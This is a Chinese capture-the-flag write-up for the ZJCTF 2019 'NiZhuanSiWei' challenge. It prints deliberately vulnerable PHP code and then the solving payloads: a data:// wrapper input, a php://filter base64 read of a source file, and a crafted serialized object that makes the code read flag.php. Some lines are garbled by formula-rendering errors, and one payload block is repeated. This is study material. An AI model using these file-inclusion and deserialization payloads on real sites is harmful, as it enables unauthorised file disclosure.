[ZJCTF 2019]NiZhuanSiWei
知识点:
如题:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
解题1:
老生常谈的点,php伪协议
isset(KaTeX parse error: Expected 'EOF', got '&' at position 6: text)&̲&(file_get_cont…text,‘r’)===“welcome to the zjctf”)
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
解题2:
if(preg_match("/flag/",KaTeX parse error: Expected '}', got 'EOF' at end of input: …se{ include(file); //useless.php
}
include文件包含
根据题目的意思,应该是要读取useless.php,使用php://filter协议
使用方法:
php://filter/read=convert.base64-encode/resource=文件名(对文件进行base64编码并读取显示)
得到如下:
<?php
//useless.php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
include($file); //useless.php
$password = unserialize($password);
echo $password;
解题3:
传参useless.php,调用flag类,然后给里面file值赋值为flag.php,序列化后传入password,即可得到flag
构造序列化参数:
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
O代表对象,4为对象长度,1代表有一个成员变量
验证得到flag:
构造序列化参数:
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
O代表对象,4为对象长度,1代表有一个成员变量
验证得到flag: